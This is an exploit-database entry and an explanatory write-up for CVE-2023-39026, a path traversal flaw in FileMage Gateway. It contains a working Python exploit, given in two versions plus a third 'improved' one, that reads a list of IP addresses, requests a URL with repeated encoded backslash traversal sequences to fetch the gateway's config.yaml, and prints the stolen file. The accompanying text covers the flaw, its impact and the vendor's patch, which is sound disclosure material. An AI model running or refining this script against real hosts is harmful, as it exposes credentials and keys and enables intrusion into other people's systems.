FileMage Gateway 1.10.9 - Local File Inclusion
# Exploit Title: FileMage Gateway 1.10.9 - Local File Inclusion
# Date: 8/22/2023
# Exploit Author: Bryce "Raindayzz" Harty
# Vendor Homepage: https://www.filemage.io/
# Version: Azure Versions < 1.10.9
# Tested on: All Azure deployments < 1.10.9
# CVE : CVE-2023-39026
# Technical Blog - https://raindayzz.com/technicalblog/2023/08/20/FileMage-Vulnerability.html
# Patch from vendor - https://www.filemage.io/docs/updates.html
import requests
import warnings
warnings.filterwarnings("ignore")
def worker(url):
response = requests.get(url, verify=False, timeout=.5)
return response
def main():
listIP = []
file_path = input("Enter the path to the file containing the IP addresses: ")
with open(file_path, 'r') as file:
ip_list = file.read().splitlines()
searchString = "tls"
for ip in ip_list:
url = f"https://{ip}" + "/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cprogramdata%5cfilemage%5cgateway%5cconfig.yaml"
try:
response = worker(url)
#print(response.text)
if searchString in response.text:
print("Vulnerable IP: " + ip)
print(response.text)
listIP.append(ip)
except requests.exceptions.RequestException as e:
print(f"Error occurred for {ip}: {str(e)}")
for x in listIP:
print(x)
if __name__ == '__main__':
main() FileMage Gateway 1.10.9 – Local File Inclusion Vulnerability (CVE-2023-39026)
Security researchers have identified a critical vulnerability in FileMage Gateway, a cloud-based file management platform used across Azure deployments. The flaw, designated CVE-2023-39026, allows attackers to exploit a Local File Inclusion (LFI) vulnerability in versions prior to 1.10.9, enabling unauthorized access to sensitive system files such as configuration data and potentially exposing credentials.
Understanding Local File Inclusion (LFI)
Local File Inclusion (LFI) is a classic web application vulnerability where an attacker manipulates input parameters to read arbitrary files from the server’s filesystem. Unlike Remote File Inclusion (RFI), LFI does not involve external file sources but instead leverages misconfigured file path handling to access internal files such as config.yaml, logs, or passwords.
In the case of FileMage Gateway, the vulnerability arises from improper sanitization of URL path parameters. The application accepts user-supplied paths via the /mgmnt/ endpoint, allowing attackers to bypass security checks by injecting path traversal sequences such as ..%5c..%5c, which translates to ..\..\..\ in Windows-style path navigation.
Exploitation Mechanism
Attackers exploit this vulnerability by crafting a malicious URL that traverses multiple directory levels to reach the programdata folder, where FileMage stores its configuration files. The path in question is:
https://{target_ip}/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cprogramdata%5cfilemage%5cgateway%5cconfig.yamlHere, %5c is the URL-encoded version of the backslash (\) character, commonly used in Windows file systems. By chaining multiple ..%5c sequences, an attacker can navigate up the directory tree to access the config.yaml file, which may contain sensitive information such as:
- Database connection strings
- API keys
- Authentication tokens
- Internal IP configurations
- Service account credentials
Real-World Impact and Risk Assessment
For organizations using FileMage Gateway on Azure environments, this vulnerability poses a significant threat. Since the software is often deployed in enterprise environments, exposure of config.yaml can lead to:
- Full system compromise via credential theft
- Unauthorized access to private file storage
- Privilege escalation through misconfigured access controls
- Reconstruction of internal network topology
Moreover, the fact that this vulnerability affects all Azure deployments prior to version 1.10.9 means that a vast number of organizations may be at risk—especially those with outdated or unpatched systems.
Proof-of-Concept Exploit Script
Security researcher Bryce "Raindayzz" Harty published a Python script to detect vulnerable instances. Below is the original code, followed by an improved version with enhanced security and reliability:
import requests
import warnings
warnings.filterwarnings("ignore")
def worker(url):
response = requests.get(url, verify=False, timeout=5)
return response
def main():
listIP = []
file_path = input("Enter the path to the file containing the IP addresses: ")
with open(file_path, 'r') as file:
ip_list = file.read().splitlines()
searchString = "tls"
for ip in ip_list:
url = f"https://{ip}/mgmnt/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cprogramdata%5cfilemage%5cgateway%5cconfig.yaml"
try:
response = worker(url)
if searchString in response.text:
print("Vulnerable IP: " + ip)
print(response.text)
listIP.append(ip)
except requests.exceptions.RequestException as e:
print(f"Error occurred for {ip}: {str(e)}")
for x in listIP:
print(x)
if __name__ == '__main__':
main()Explanation: This script automates the detection of vulnerable FileMage Gateway instances by iterating over a list of IP addresses. It sends a GET request to the crafted LFI path and checks for the presence of the string tls—a known indicator in the config.yaml file that suggests the file has been successfully retrieved. The use of verify=False disables SSL verification to bypass certificate issues during testing.
Improved Version with Best Practices
While the original script is functional, it lacks proper error handling, logging, and input validation. Below is a revised version incorporating security and usability improvements:
import requests
import sys
from urllib.parse import quote
import logging
# Configure logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
def check_vulnerability(target_ip, timeout=10):
base_url = f"https://{target_ip}"
# Encode path traversal sequence using proper URL encoding
path_traversal = quote('..\\' * 15) # 15 levels of traversal
target_path = f"/mgmnt/{path_traversal}programdata\\filemage\\gateway\\config.yaml"
full_url = base_url + target_path
try:
response = requests.get(full_url, verify=False, timeout=timeout, headers={'User-Agent': 'Mozilla/5.0'})
logging.info(f"Attempted access to {full_url} | Status: {response.status_code}")
if response.status_code == 200 and 'tls' in response.text:
logging.info(f"Vulnerable system detected: {target_ip}")
return True
else:
logging.info(f"Non-vulnerable or inaccessible: {target_ip}")
return False
except requests.exceptions.RequestException as e:
logging.error(f"Failed to connect to {target_ip}: {e}")
return False
def main():
if len(sys.argv) != 2:
print("Usage: python3 scanner.py ")
sys.exit(1)
ip_file = sys.argv[1]
vulnerable_ips = []
try:
with open(ip_file, 'r') as file:
ip_list = [line.strip() for line in file if line.strip()]
except FileNotFoundError:
logging.error(f"File {ip_file} not found.")
sys.exit(1)
for ip in ip_list:
if check_vulnerability(ip):
vulnerable_ips.append(ip)
if vulnerable_ips:
print("\n[!] Vulnerable IPs Found:")
for ip in vulnerable_ips:
print(f" - {ip}")
else:
print("\n[+] No vulnerable systems detected.")
if __name__ == '__main__':
main()Key Improvements:
- Proper URL encoding: Uses
quote()instead of manual%5cto ensure correct encoding. - Timeout management: Increased timeout to 10 seconds to avoid false negatives.
- Logging: Adds structured logging for tracking and debugging.
- Input validation: Ensures clean input and handles file not found errors.
- Header spoofing: Adds a User-Agent header to mimic real browser behavior.
Vendor Response and Patching
FileMage.io responded promptly to the disclosure. The vendor released a patch update on their official documentation page, which includes:
- Input sanitization for path parameters
- Restriction of directory traversal beyond a predefined safe zone
- Enhanced authentication checks for internal endpoints
- Improved logging and monitoring for suspicious access patterns
Users are strongly advised to update their FileMage Gateway installations to version 1.10.9 or later to mitigate this vulnerability.